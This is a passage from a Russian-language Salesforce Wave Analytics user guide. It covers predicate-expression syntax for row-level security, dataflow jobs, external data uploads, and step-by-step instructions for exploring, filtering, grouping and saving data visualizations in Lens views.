предоставляется полномочие
доступа для настраиваемых
полей объекта User.

Чтобы предоставить
пользователю безопасности
доступ для чтения, настройте
параметры безопасности для
нужного поля в профиле
пользователя безопасности.

Последовательности экранирования
Рекомендуем использовать символ обратной косой черты (\) для экранирования символов имен столбцов и строковых
значений в выражении предиката.
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Рекомендуем использовать последовательность (\’) для экранирования одинарной кавычки в имени столбца. Например:

‘Team\’s Name’ == "West Region Accounts"

Ниже перечислены доступные последовательности экранирования для специальных символов строковых значений.

ЗначениеПоследовательность

Один символ возврата\b

Новая строка\n

Символ переноса\r

Символ табуляции\t

CTRL + Z (ASCII 26)\Z

Один символ двойной кавычки\”

Один символ обратной косой черты\\

Один нулевой символ ASCII\0

Поддержка набора символов
Wave Analytics позволяет использовать символы UTF-8 в значениях и именах столбцов набора данных в выражении

предиката. Символы, отличные от UTF-8, заменяютсяWave Analytics на символы UTF-8 ( ). ЕслиWave Analytics заменяет
символ, отличный от UTF-8, в выражении предиката, то пользователям могут отображаться непредвиденные результаты
запросов.

Специальные символы
Некоторые символы имеют особое значение вWave Analytics.

ОписаниеИмяСимвол

Окружает имя столбца набора данных
в выражении предиката.

Одинарная кавычка‘

Пример выражения предиката:

'Expected_Revenue' >=
2000.00

Окружает строковое значение или
значениеполяв выражениипредиката.

Двойная кавычка“

Пример выражения предиката:
'OpportunityOwner' ==
"Michael Vesti"
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ОписаниеИмяСимвол

Определяет порядок оценки
выражения предиката.

Скобки( )

Пример выражения предиката:

('Expected_Revenue' > 4000
|| 'Stage Name' == "Closed
Won") && 'isDeleted' !=
"False"

Определяет объект Salesforce в
выражении предиката.

Знак доллара$

Прим.: В этом выражении
можно использовать только
объект User.

Пример выражения предиката:

'Owner.Role' ==
"$User.UserRoleId"

Разделяет имя объекта и имя поля в
выражении предиката.

Точка.

Пример выражения предиката:

'Owner' == "$User.UserId"

Операторы
Выражения предиката могут содержать операторы сравнения и логические операторы.

Операторы сравнения
Операторы сравнения возвращают значение «Истина» или «Ложь».

Логические операторы
Логические операторы возвращают значение «Истина» или «Ложь».

Операторы сравнения

Операторы сравнения возвращают значение «Истина» или «Ложь».

Ниже перечислены поддерживаемыеWave Analytics операторы сравнения.

ОписаниеИмяОператор

Истина, если операнды равны. Сравнения строк, использующие оператор «равно»,
чувствительны к регистру.

Равно==

Примеры выражений предиката:
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ОписаниеИмяОператор

'Stage Name' == "Closed Won"

Истина, еслиоперандынеравны. Сравнениястрок, использующиеоператор «неравно»,
чувствительны к регистру.

Не равно!=

Пример выражения предиката:

'isDeleted' != "False"

Истина, если левый операнд меньше правого операнда.Меньше<

Пример выражения предиката:

'Revenue' < 100

Истина, если левый операнд меньше или равен правому операнду.Меньше или равно<=

Истина, если левый операнд больше правого операнда.Больше>

Истина, если левый операнд больше или равен правому операнду.Больше или равно>=

Истина, еслилевыйоперандсуществует в списке строк, замененныхдлямногозначного
раскрывающегося списка (значение поля).

Фильтр
многозначного
списка

in

Пример выражения предиката:

'Demog' in ["$User.Demographic__c"]

В данном примере Demographic__c принадлежит типу multiPicklistField.
Впроцессеоценкиполемногозначногораскрывающегосясписка заменяетсясписком
строк, по одной строке на элемент, выбираемый пользователем.

Прим.: Списки, разделенные запятыми, не поддерживаются структурой в
квадратных скобках.

Операторы <, <=, > и >= могут применяться только к столбцам меры.

Логические операторы

Логические операторы возвращают значение «Истина» или «Ложь».

Ниже перечислены поддерживаемыеWave Analytics логические операторы.

ОписаниеИмяОператор

Истина при истинности обоих
операндов.

Логический оператор «И»&&

Пример выражения предиката:

'Stage Name' == "Closed Won" &&
'isDeleted' != "False"
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ОписаниеИмяОператор

Истина при истинности одного из
операндов.

Логический оператор «ИЛИ»||

Пример выражения предиката:

'Expected_Revenue' > 4000 || 'Stage Name'
== "Closed Won"

Выборочные выражения предиката
Чтобы определить алгоритм построения выражения предиката, воспользуйтесь выборками ниже.

Выборки опираются на набор данных «Возможность», представленный ниже.

IsDeletedStage_NameOwnerRoleIDОтветственныйExpected_RevВозможность

TrueProspecting20Bill2000.00OppA

FalseClosed Won22Joe3000.00OppB

FalseClosed Won36可爱的花1000.00OppC

TrueProspecting18O’Fallon5000.00OppD

TrueClosed Won22JoeOppE

Рассмотрим некоторые примеры, позволяющие понять алгоритм построения выражения предиката.

СведенияВыражение предиката

Проверка значений столбца в объекте User.'OwnerRoleID' == "$User.UserRoleId"

'Expected_Rev' > 1000 && 'Expected_Rev' <=
3000

'Owner' = "Joe" || 'Owner' = "Bill"

Скобки определяют порядок операций.('Expected_Rev' > 4000 || 'Stage Name' ==
"Closed Won") && 'isDeleted' != "False"

'Stage Name' == "Closed Won" &&
'Expected_Rev' > 70000

Строка содержит символыЮникод.'Owner' == "可爱的花"

Одинарная кавычка в строке требует наличия
экранирующего символа.

'Owner' == "O\’Fallon"

Проверка на наличие пустой строки.'Stage Name' == ""
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Наборы данных
Набор данных — это совокупность связанныхданных, хранящихся в ненормализованном, но сверхсжатом виде. Наборы
данных могут быть созданы разными способами. При необходимости измените созданные наборы данных.

Совет: Чтобы гарантировать отсутствие превышения максимального количества (250 миллионов) строк во всех
зарегистрированных наборах данных, удалите неиспользуемые наборы данных.

СМ. ТАКЖЕ:

Создание набора данных посредством внешних данных

Редактирование набора данных

Удаление набора данных

Запуск, остановка и повторное планирование заданий потока данных

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к странице
отслеживания данных:
• “Изменение потоков

данных Wave Analytics»
или «Управление Wave
Analytics»

Для запуска задания потока
данных:
• Изменение потоков

данных Wave Analytics

Заданиепотока данныхвыполняетсяпо ежедневномурасписанию. Принеобходимости
измените время выполнения задания. Принеобходимости запустите заданиена загрузку
данных вручную до наступления времени запланированного выполнения. При
необходимости остановите задание.

Прим.: Одновременно разрешается выполнять только один экземпляр потока
данных.

1. Чтобыоткрыть страницу отслеживания данных, щелкните значокшестеренки ( )
вWave Analytics, а затем щелкните «Отслеживание данных».
Страницаотслеживанияданныхсодержитдвапредставления: представлениепотока
данныхипредставлениезаданий. Поумолчаниюотображаетсяпредставлениепотока
данных.

2. Чтобы выполнить задачи для потока данных, щелкните список действий (1) для
потока данных.

Список действий содержит следующие параметры: «Загрузить», «Выгрузить», «Начать» и «Запланировать».

3. Чтобы выполнить задание потока данных, щелкните «Начать» в списке действий.
Задание потока данных добавляется в очередь заданий. При выполнении задания потока данных кнопка «Начать»
отображается серым цветом.
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4. Чтобы остановить выполняемое задание потока данных, щелкните значок напротив статуса нужного задания.
Выбор параметра «Начать» для возобновления остановленного потока данных инициирует повторный запуск
задания потока данных без возврата к точке остановки.

5. Чтобыизменитьвремязапланированноговыполненияпотокаданных, щелкните«Запланировать» в спискедействий.

Отслеживание данных
Страница отслеживания данных содержит параметры для управления заданиями.

СМ. ТАКЖЕ:

Запуск потока данных

Повторное планирование потока данных

Отслеживание задания потока данных

Отслеживание загрузки внешних данных

Внешние данные
Интеграция внешних данных вWave Analytics обеспечивает их доступность для запросов, выполняемых из проводника
и конструктора.

Интерфейс External Data API позволяет пользователям загружать файлы внешних данных вWave Analytics. Интерфейс
External Data API можетзагружать CSV-файлы, апользователимогутзадаватьструктуруданныхпутемопределенияметаданных
в формате JSON.

Интерфейс External Data API поддерживается интерфейсом API 31.0 или более поздней версии.

Ниже перечислены основные этапы загрузки внешних данных посредством интерфейса API.

1. Подготовьте данные в формате CSV и создайте файл метаданных для определения структуры данных.

2. Выполните программное подключение к организации Salesforce.

3. Настройте параметры загрузки путем вставки строки в объект InsightsExternalData и определения значений ввода
(например, имя набора данных, формат данных и операция для выполнения над данными).

4. Разделите данные на блоки размером не более 10 Мб и загрузите их в объекты InsightsExternalDataPart.

5. Начните загрузку путем обновления поля «Действие» объекта InsightsExternalData.

6. Проверьте объект InsightsExternalData на наличие обновленных статусов и подтвердите успешную загрузку файлов.
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Просмотр и визуализация данных
Прифильтрации огромных объемов бизнес-данных пользователимогут не всегда знать, что они ищут. Ипонимают это
только при обнаружении искомых данных. Salesforce Wave Analytics предоставляет пользователям возможность быстрого
поиска по доступным данным, а также возможность создания необходимых визуальных элементов.

Просмотрите загруженные данные. Детализируйте данные посредством интерактивных визуализаций. Найдите
непредусмотренныеподробныесведения, которыемогутоказатьсяполезнымидлябизнеса. ЗатемразрешитеWave Analytics
создать привлекательные и информативные динамические диаграммы.

Интерактивный просмотр и визуализация данных
Просмотр данных — это повторяющийся процесс. Как правило, данный процесс содержит следующие этапы:
просмотр, изучение, уточнение, сохранение и предоставление общего доступа.

Ориентирование в Wave Analytics

Чтобы открытьWave Analytics, откройте меню приложений Force.com в верхнем колонтитуле системы Salesforce и
выберите приложениеWave Analytics.

Коллекции данных в Wave Analytics

Некоторые типы коллекций данных доступны на начальной странице. Наборы данных, представления Lens, панели
мониторинга и приложения соответствуют уровням уточнения данных — от необработанных данных, загруженных
из исходных систем, до рекомендованных пакетных представлений данных.

Понятия просмотра данных
Приизученииспособовпросмотраи визуализацииданныхрекомендуемпросмотретьосновныепонятия (например,
визуализация, мера и измерение).

Просмотр данных
Определитенепредусмотренныеподробныесведения, которыемогут встречатьсяпользователямприинтерактивном
просмотре и визуализации данных посредством инструментов проводника.

Клонирование визуализации
Дополняйте визуализацию путем ее клонирования на новую вкладку, где можно будет продолжить работу при
сохранении оригинальной версии на ее собственной вкладке.

Сохранение визуализации
Сохраните визуализацию в виде представления Lens.

Предоставление общего доступа к визуализации
ПредоставьтеколлегамобщийдоступквизуализациипутемпубликациивChatter, полученияее уникального URL-адреса
или загрузки ее снимка экрана. Сообщение Chatter предоставляет изображение и ссылку на актив — представление
Lens, панель мониторинга или приложение — вWave Analytics. Коллеги со ссылкой и доступом к активу могут
детализировать и изучать представленную информацию. Для предоставления общего доступа без доступа к активу
используйте вариант снимка экрана.

Экспорт визуализации в виде изображения
Экспорт позволяет сохранять текущую визуализацию в виде графического файла.

Интерактивный просмотр и визуализация данных
Просмотрданных — этоповторяющийсяпроцесс. Какправило, данныйпроцесс содержитследующиеэтапы: просмотр,
изучение, уточнение, сохранение и предоставление общего доступа.
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• Просмотр: просмотр набора данных.

• Изучение: определение границиформданных. Принеобходимостиизменитепредставление, примените увеличение
или уменьшение и просмотрите результаты, отображаемые при использовании других параметров построения
диаграмм.

• Уточнение: ограничение представления для отображения самых важных данных. Определите уровень детализации
и категоризации, понятный коллегам. Выберите наиболее подходящую визуализацию диаграммы.

• Сохранение: сохранение внесенных изменений.

• Предоставлениеобщегодоступа: предоставлениедругимпользователямобщегодоступаксобственномупредставлению.
При наличии более сложной презентации визуализация может использоваться для создания панели мониторинга.

Ориентирование в Wave Analytics

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к Wave
Analytics:
• «Использование Wave

Analytics» сделайте
следующее.

Чтобы открытьWave Analytics, откройте меню приложений Force.com в верхнем
колонтитуле системы Salesforce и выберите приложениеWave Analytics.

1. ОткройтеWave Analytics.

Начальная страница — этоосновнаяобластьдляпросмотравсехдоступныхданных.

Коллекции данных в Wave Analytics
Некоторые типы коллекцийданных доступнынаначальной странице. Наборыданных,
представления Lens, панели мониторинга и приложения соответствуют уровням
уточнения данных — от необработанных данных, загруженных из исходных систем, до
рекомендованных пакетных представлений данных.
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• Набор данных содержит набор исходных данных, отформатированных и оптимизированных для интерактивного
просмотра.

• Представление Lens — это конкретное представление данных из набора данных. Данная область позволяет выполнять
произвольный анализ и визуализацию.

• Панель мониторинга — это набор рекомендованных диаграмм, показателей и таблиц на основе данных из одного или
нескольких представлений Lens.

• Приложение содержит панели мониторинга, представления Lens и наборы данных, комбинация которых позволяет
предоставлять коллегам общий доступ к анализам данных. Приложения аналогичны папкам. Они позволяют
пользователямсистематизироватьпроектыданных — личныеиобщедоступные — иконтролироватьобщийдоступ.

Понятия просмотра данных
При изучении способов просмотра и визуализации данных рекомендуем просмотреть основные понятия (например,
визуализация, мера и измерение).

Как правило, под визуализацией понимается диаграмма или график (например, секторная диаграмма, круговая диаграмма,
временнаяшкала или тепловая карта). Данные, отображаемые в виде таблицы (например, таблица сравненияили сводная
таблица), также считаются визуализацией. Каждая визуализация содержит базовый запрос, соответствующий способу,
который используетсяWave Analytics для извлечения информации из исходных данных.

Мера — это количественное значение (например, доход и курс обмена). Меры поддерживают математические операции
(например, вычислениеобщегодоходаиминимальногокурсаобмена).Мерыимеютимена (например, «Доход») изначения
(например, «1 000 000 рублей»). Нижеперечисленырекомендациипопросмотру визуализациидиаграммывWave Analytics.

• Диаграмма отображает срез данных на основе количества или стоимости, либо отображает табличные данные.

• Мера — это, как правило, агрегированное значение, которое уже отображается после применения некоторых
математическихопераций. Так, припервомпросмотренабораданных, какправило, отображаетсяпростоеагрегирование
(например, количество строк). При просмотре и изменении или добавлении мер пользователи могут выполнять
агрегированиеподругомуметоду (сумма, среднеезначение, максимальноезначениеит. д.), однакоспособагрегирования
должен всегда определяться при выборе меры.

• Мерымогутопределятьсяпоположению (крайниелевые элементыв верхнемлевомуглупредставления Lens) итексту,
указывающему на метод агрегирования (например, «Сумма: доход»).

Внимание: При выполнении запроса агрегирующего меры (например, суммирование или группирование), и
превышении итоговым значением максимального значения числового поля (36 028 797 018 963 967) значение
переполняется, аWave Analytics возвращает неправильный результат.

Измерение — это качественное значение (например, регион, имя продукта и номер модели). Измерения позволяют
группироватьифильтроватьданные. Вотличиеотмер, измерениянеподдерживаютматематическиеоперации.Подобно
мерам, измерения также имеют имена (например, «Регион») и значения (например, «Северо-восток»). Время, как правило,
считается измерением, а не мерой.
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Просмотр данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
визуализаций:
• “Использование Wave

Analytics»

Определите непредусмотренные подробные сведения, которые могут встречаться
пользователям при интерактивном просмотре и визуализации данных посредством
инструментов проводника.

Просмотр данных в представлении Lens

Данные, просматриваемые в произвольном режиме, отображаются посредством
представления Lens. Представление Lens имеет несколько аспектов: способ просмотра
данных в наборе данных, область графического отображения данных и основа для
создания любой панели мониторинга.

Группирование данных по категориям
Группирование данных позволяет систематизировать данные для их отображения
по категориям. Например, чтобы просмотреть характеры сезонных изменений в
цикле продаж, сгруппируйте данные возможностей по месяцу закрытия сделок.

Фильтрация данных
Фильтрацияпредставления Lensобеспечиваетлаконичностьдиаграммыипозволяет
просматриватьтолькоданные, являющиесянаиболееважнымидлякомпании, проекта
или группы руководителей. Например, визуализация может быть ограничена
конкретнымифинансовыми годами.

Изменение порядка сортировки
Выберите нужный порядок сортировки данных в визуализации диаграммы.

Изменение типа диаграммы
Переключение между типами диаграмм позволяет определить наиболее оптимальные параметры визуализации.

Изменение мер
Выбор меры определяет всю визуализацию и ограничивает область просмотра. Например, измените меру и метод
агрегированиясо значения «Количество: возможности» на значение «Сумма: стоимость». Затемдобавьте вторуюмеру
для параллельного просмотра двух визуализаций.

Изменение шкалы диаграммы
Изменитешкалудиаграммы (например, применениелогарифмическойшкалы). Доступныепараметрыопределяются
типом диаграммы.

Создание вычисляемых столбцов посредством таблицы сравнения
Рекомендуем использовать таблицу сравнения для определения настраиваемых формул со столбцами данных.
Пользователи могут одновременно просматривать меры и выполнять математические операции над столбцами и
строками таблицы.

Возврат к предыдущему представлению посредством журнала
Просмотрданныхможет завершатьсяразнымирезультатами. Некоторыеизнихмогутбытьбесполезными. Проводник
сохраняет полный журнал действий в представлении Lens. При нежелательном изменении представления Lens или
при необходимости повторного просмотра данных анимаций рекомендуем использовать журнал для быстрого
возврата к предыдущему состоянию визуализации.
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Применение групп и фильтров путем копирования и вставки посредством буфера обмена обозревателя
Припросмотренабораданныхпользователяммогут требоватьсяразныенаправления (например, применениеразных
группировок или просмотр разных точек зрения). Вместо применения сложных способов просмотра разных
направлений пользователи могут открывать один набор данных на нескольких вкладкахWave Analytics. Затем
пользователимогутприменятьинструментыкопированияивставки, поддерживаемыепроводником, длярепликации
конкретных группировок и фильтров с одной вкладки на другую.

Просмотр запроса под представлением Lens

Для сбора данных для визуализаций Wave Analytics использует язык запросов Salesforce Analytics (SAQL) в фоновом
режиме под представлением Lens и панелями мониторинга. Откройте средство просмотра SAQL и просмотрите
базовый запрос SAQL, который записывается во время его исследования или копирования для дальнейшего
использования.

Просмотр данных в представлении Lens

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
визуализаций:
• “Использование Wave

Analytics»

Данные, просматриваемые в произвольном режиме, отображаются посредством
представления Lens. Представление Lens имеет несколько аспектов: способ просмотра
данных в наборе данных, область графического отображения данных и основа для
создания любой панели мониторинга.

1. Щелкните нужный набор данных или представление Lens на начальной странице.
Представление Lensоткрываетсянановойвкладке. Например, данноепредставление
открывается в виде диаграммы, отображающей количество строк в наборе данных
возможности.
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Группирование данных по категориям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
визуализаций:
• “Использование Wave

Analytics»

Группирование данных позволяет систематизировать данные для их отображения по
категориям. Например, чтобы просмотреть характеры сезонных изменений в цикле
продаж, сгруппируйте данные возможностей по месяцу закрытия сделок.

1. Нажмите кнопку «Группа».

2. Введитепервыебуквынужногоизмерения (например, «Дата закрытия») вполепоиска.

Используемые измерения определяют категории, доступные для группирования.

3. Наведите указатель мыши на строку «Дата закрытия». Нажмите кнопку «Шкала»,
отображаемую справа.

4. Выберите значение «Месяц» в списке «Шкала дат календарного года».

Диаграмма становится многостолбцовой и отображает данные, сгруппированные по году и месяцу закрытия.
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5. Чтобы добавить дополнительную группировку (также называется ярусной группировкой), нажмите кнопку «Группа».
Найдите измерение «StageName» посредством поля поиска.

Сейчас добавляется только группа. При нажатии кнопки «Фильтр» добавляются группа и фильтр.

Данное действие инициирует изменение визуализации для отображения данных, сгруппированных по обоим
измерениям. Каждой категории данных из последней подгруппы назначается цвет, а справа отображаются цветовые
условные обозначения. Представление Lens может содержать не более четырех группировок.
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Фильтрация данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
визуализаций:
• “Использование Wave

Analytics»

Фильтрация представления Lens обеспечивает лаконичность диаграммы и позволяет
просматривать только данные, являющиеся наиболее важными для компании, проекта
или группы руководителей. Например, визуализация может быть ограничена
конкретнымифинансовыми годами.

1. Нажмите кнопку «Фильтр».

Диалоговое окно «Добавить фильтр» отображает меры вверху списка, а измерения
внизу списка.

2. Выберите измерение «FiscalYear».
Данное действие инициирует отображение значений для измерения «FiscalYear».
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3. Выберите значения «2012» и «2013», а затемнажмите кнопку «Добавить». Прииспользованииполяпоиска дляпоиска
значений для фильтрации помните, что данный поиск чувствителен к регистру.
Примененныйфильтр отображается напротив кнопки «Фильтр».

Данноедействиеинициируетизменениевизуализациидиаграммыдляотображенияданныхзафинансовые года 2012
и 2013.
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Изменение порядка сортировки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
визуализаций:
• “Использование Wave

Analytics»

Выберите нужный порядок сортировки данных в визуализации диаграммы.

1. Нажмите кнопку «Параметры».

2. Выберите значение «По возрастанию» (сортировка по возрастанию), «По
убыванию» (сортировкапо убыванию) или «Выкл.» (без сортировки) в диалоговом
окне.

Изменение типа диаграммы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
визуализаций:
• “Использование Wave

Analytics»

Переключение между типами диаграмм позволяет определить наиболее оптимальные
параметры визуализации.

1. Нажмите кнопку «Изменить тип диаграммы».

Данное действие инициирует отображение галереи типов диаграмм, доступных для
данного представления Lens. Пользователю отображаются только визуализации,
применимые к базовому запросу.

3907

Просмотр и визуализация данныхAnalytics



2. Чтобы просмотреть количество мер и измерений, поддерживаемое данным типом визуализации, наведите указатель
мыши на нужный тип диаграммы.

Например, секторная диаграмма может использовать одну меру и не более двух измерений.

3. Щелкните нужный тип диаграммы (например, «Ярусная горизонтальная»).
Данное действие инициирует изменение визуализации диаграммы.
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Изменение мер

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
визуализаций:
• “Использование Wave

Analytics»

Выбор меры определяет всю визуализацию и ограничивает область просмотра.
Например, изменитемеруиметодагрегированиясозначения «Количество: возможности»
на значение «Сумма: стоимость». Затем добавьте вторую меру для параллельного
просмотра двух визуализаций.

1. Выберите метод агрегирования «Сумма», а затем выберите первую меру.
Визуализация отображает выбранное значение.

2. Чтобы добавить вторую меру, нажмите кнопку «Мера».

3. Выберите метод агрегирования «Среднее значение», а затем выберите вторую меру.
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Новая мера отображается справа.

4. Чтобы переставить меры местами, выберите вторую меру и нажмите кнопку «< Переместить влево».

Две визуализации меняются местами.
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5. Чтобы добавить дополнительные меры, нажмите кнопку «Мера» повторно.

Представление Lens может содержать не более четырех мер.

Изменение шкалы диаграммы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
визуализаций:
• “«Использование Wave

Analytics»

Измените шкалу диаграммы (например, применение логарифмическойшкалы).
Доступные параметры определяются типом диаграммы.

1. Нажмите кнопку «Параметры».

2. Выберите нужнуюшкалу в диалоговом окне.
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Создание вычисляемых столбцов посредством таблицы сравнения

ВЕРСИИ

Доступно в: Salesforce
Classic и Lightning
Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
визуализаций:
• “Использование Wave

Analytics»

Рекомендуемиспользовать таблицу сравнениядляопределениянастраиваемыхформул
со столбцами данных. Пользователи могут одновременно просматривать меры и
выполнять математические операции над столбцами и строками таблицы.

1. Выберите «Таблица сравнения» из галереи типов диаграмм.

2. Чтобы добавить измерения, щелкните «Группа».

3. Чтобы изменить первую меру, щелкните «ячейки» («Количество строк»). Чтобы
добавить другиемеры, щелкните стрелку в заголовке столбцамеры, а затем выберите
«добавить столбец».

Послевыборановогостолбцащелкните«ячейки»дляизменениямеры. Чтобыприменитьфильтр, щелкнитезаголовок
столбца меры для его выбора, а затем щелкните «Фильтр».
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Обратите внимание, что столбцы измерения располагаются слева, а столбцы меры располагаются справа. Столбцы
меры обозначаются в формулах буквами A, B, C и т. д., где букве А соответствует крайний левый столбец меры.

4. Добавьтестолбецмерыдляхранениянастраиваемойформулы, а затемвыберите«редактироватьформулуиформат»
из раскрывающегося меню.

Создайте формулы посредством операторов из данной таблицы в поле «формула».

Прим.: Столбцы меры обозначаются прописными буквами слева направо.

ВычислениеПримерыСимвол

Сложение, применяется к строке.A+B, A+100+

Вычитание, применяется к строке.A-B, A-100-
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ВычислениеПримерыСимвол

Деление, применяется к строке.A/B, A/100/

Умножение, применяется к строке.A*B, A*100*

Скобки для операций группирования.(B-A)/(A*100)( )

Совет: Рекомендуем использовать таблицы сравнения для выполнения простых специальных вычислений.
Еслиотдельноевычисляемоезначениеявляетсячастоиспользуемымилиболеесложным, рекомендуемвыполнить
вычисление на уровне исходных данных.

Возврат к предыдущему представлению посредством журнала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
визуализаций:
• “Использование Wave

Analytics»

Просмотр данных может завершаться разными результатами. Некоторые из них могут
быть бесполезными. Проводник сохраняет полный журнал действий в представлении
Lens. При нежелательном изменении представления Lens или при необходимости
повторногопросмотраданныханимацийрекомендуемиспользоватьжурналдлябыстрого
возврата к предыдущему состоянию визуализации.

1. Нажмите кнопку «Просмотржурнала» в верхнем колонтитуле.
Боковая панель отображает журнал всех действий, выполненных в представлении
Lens.

2. Выберите любой элемент списка для выполнения перехода. Или воспользуйтесь

кнопками «Вернуться назад» и «Перейти вперед» .
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Применение групп и фильтров путем копирования и вставки посредством буфера обмена
обозревателя

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
визуализаций:
• “Использование Wave

Analytics»

При просмотре набора данных пользователям могут требоваться разные направления
(например, применениеразныхгруппировокилипросмотрразныхточек зрения). Вместо
применения сложных способов просмотра разных направлений пользователи могут
открыватьодиннаборданныхнанесколькихвкладкахWave Analytics. Затемпользователи
могут применять инструменты копирования и вставки, поддерживаемые проводником,
для репликации конкретных группировок и фильтров с одной вкладки на другую.

Чтобы открыть набор данных на новой вкладке, щелкните нужный набор данных на
начальной странице. Инструменты копирования и вставки, поддерживаемые
проводником, могутиспользоватьсяприоткрытииодногонабораданныхнанескольких
вкладках.

1. Еслипросматриваемыйтипдиаграммыпозволяетвыбиратьнаборданных, щелкните
или щелкните и перетащите нужный набор данных на диаграмму.
Все данные, кроме выбранных, являются недоступными.

2. Нажмите кнопку «Действия».

3. Скопируйте выбранные данные в буфер обмена обозревателя. Чтобы скопировать
выбранные элементы в буфер обмена, щелкните «Копировать». Способ вставки
выбранных данных — как группа или фильтр — может быть выбран позже. Чтобы
скопировать выбранные элементы в буфер обмена и применить их к текущей
диаграмме в виде фильтра, щелкните «Фокусировать».

4. Откройте другую вкладкуWave Analytics, содержащую тот же набор данных.

5. Нажмите кнопку «Действия».

6. Применитевыбранныеданныеизбуфераобменак текущейдиаграмме. Чтобыпросмотретьданные, сгруппированные
по выбранным измерениям, щелкните «Вставить как группу». Чтобы просмотреть данные, отфильтрованные по
выбранным значениям, щелкните «Вставить какфильтр».

Чтобы восстановить диаграмму до полного набора данных, удалите выбранные данные путем последовательного

нажатия кнопок и «Очистить».
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Просмотр запроса под представлением Lens

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
визуализаций:
• “Использование Wave

Analytics»

Для сбора данных для визуализаций Wave Analytics использует язык запросов Salesforce
Analytics (SAQL) в фоновом режиме под представлением Lens и панелями мониторинга.
Откройте средство просмотра SAQL и просмотрите базовый запрос SAQL, который
записывается во время его исследования или копирования для дальнейшего
использования.

1. Откройте меню «Параметры» ( ) и перейдите элементу управленияПоказать
SAQL.

2. Выберите «Включить».

Откроется панель запроса SAQL. Продолжите просмотр и понаблюдайте за
реализацией работы в SAQL.

Подробную информацию о SAQL см. в Справочном руководстве по SAQL Wave Analytics.
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Клонирование визуализации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
визуализаций:
• “Использование Wave

Analytics»

Дополняйте визуализацию путем ее клонирования на новую вкладку, где можно будет
продолжить работу при сохранении оригинальной версии на ее собственной вкладке.

1. Нажмите значокКлонировать на новую вкладку.

2. Продолжайте работу на новой вкладке, добавив визуализацию. При достижении
следующего представления, которое требуется сохранить, щелкнитеСохранить и
снова нажмитеКлонировать на новую вкладку.

Сохранение визуализации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
визуализаций:
• “Использование Wave

Analytics»

Сохраните визуализацию в виде представления Lens.

1. Затем нажмите значок «Сохранить».

2. Введите заголовок и описание представления Lens и выберите приложение для его
сохранения.

3. Нажмите «Сохранить».
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Предоставление общего доступа к визуализации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
